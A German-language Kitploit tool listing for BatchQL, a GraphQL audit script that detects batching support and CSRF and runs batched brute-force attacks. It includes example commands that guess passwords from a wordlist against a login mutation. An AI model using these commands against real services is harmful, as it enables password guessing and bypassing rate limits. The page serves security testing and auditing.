Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
batchql — GraphQL-Sicherheitsaudit-Skript mit Schwerpunkt auf der Durchführung von Batch-GraphQL-Abfragen und -Mutationen | Kitploit
Tools/GitHubGitHub/assetnote/batchql
SchwachstellenscannerAPI-SicherheitstestsWebsicherheitPenetrationstests
GitHubassetnote/batchql

batchql

GraphQL-Sicherheitsaudit-Skript mit Schwerpunkt auf der Durchführung von Batch-GraphQL-Abfragen und -Mutationen

Repository anzeigen
41342vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

BatchQL

BatchQL ist ein GraphQL-Sicherheitsaudit-Skript mit Fokus auf die Durchführung von Batch-GraphQL-Abfragen und -Mutationen. Dieses Skript ist nicht komplex, und wir freuen uns über Verbesserungen.

Bei der Erkundung des Problembereichs von GraphQL-Batching-Angriffen stellten wir fest, dass es einige Blogbeiträge im Internet gab, jedoch kein Werkzeug, um GraphQL-Batching-Angriffe durchzuführen.

GraphQL-Batching-Angriffe können je nach implementierten Funktionen sehr schwerwiegend sein. Stellen Sie sich zum Beispiel eine Passwort-Zurücksetzen-Funktion vor, die eine 4‑stellige PIN erwartet, die an Ihre E‑Mail gesendet wurde. Mit diesem Werkzeug könnten Sie alle 10.000 PIN‑Versuche in einer einzigen GraphQL-Abfrage versuchen. Dies könnte je nach Implementierungsdetails des Passwort-Zurücksetzen-Ablaufs jede Ratenbegrenzung oder Kontosperrung umgehen.

Erkennungen

Dieses Werkzeug ist in der Lage, Folgendes zu erkennen:

  • Unterstützung für Introspection-Abfragen
  • Erkennung von Schema-Vorschlägen
  • Erkennung potenzieller CSRF
  • Batching basierend auf Abfragenamen
  • Batching basierend auf JSON-Listen von Abfragen

Angriffe

Derzeit unterstützt dieses Werkzeug nur das Senden von JSON-Listen-basierten Abfragen für Batching-Angriffe. Es unterstützt Szenarien, in denen die Variablen in der Abfrage eingebettet sind oder in der JSON-Eingabe bereitgestellt werden.

Verwendung

Aufzählung

root@kitploit:~
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080

Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.

Batching-Angriffe

  1. Speichern Sie eine Datei, die Ihre GraphQL-Abfrage enthält, z. B. acc-login.txt:
root@kitploit:~
mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
  emailLoginRemembered(loginInput: $loginInput) {
    authToken {
      accessToken
      __typename
    }
    userSessionResponse {
      userToken
      userIdentity {
        userId
        identityType
        verified
        onboardingStatus
        registrationReferralCode
        userReferralInfo {
          referralCode {
            code
            valid
            __typename
          }
          __typename
        }
        __typename
      }
      __typename
    }
    __typename
  }
  }
  1. Führen Sie den folgenden Befehl aus, um einen GraphQL-Batching-Angriff durchzuführen:
root@kitploit:~
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080

Der obige Befehl führt Folgendes aus:

  • Gibt eine Abfrage aus einer lokalen Datei an: --query acc-login.txt.
  • Gibt eine Wortliste an: --wordlist passwords.txt
  • Gibt die Variableingabe mit der Ersetzungskennung an: -v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}
  • Gibt die Batch-Größe an: --size 100
  • Gibt den Endpunkt an: -e http://re.local:5000/graphiql
  • Gibt einen Proxy an: -p localhost:8080

Referenzen

  • Exploiting GraphQL
  • Damn Vulnerable GraphQL Application
  • GraphQL Batching Attack - Wallarm
  • Mitigating Batching Attacks
Tool herunterladen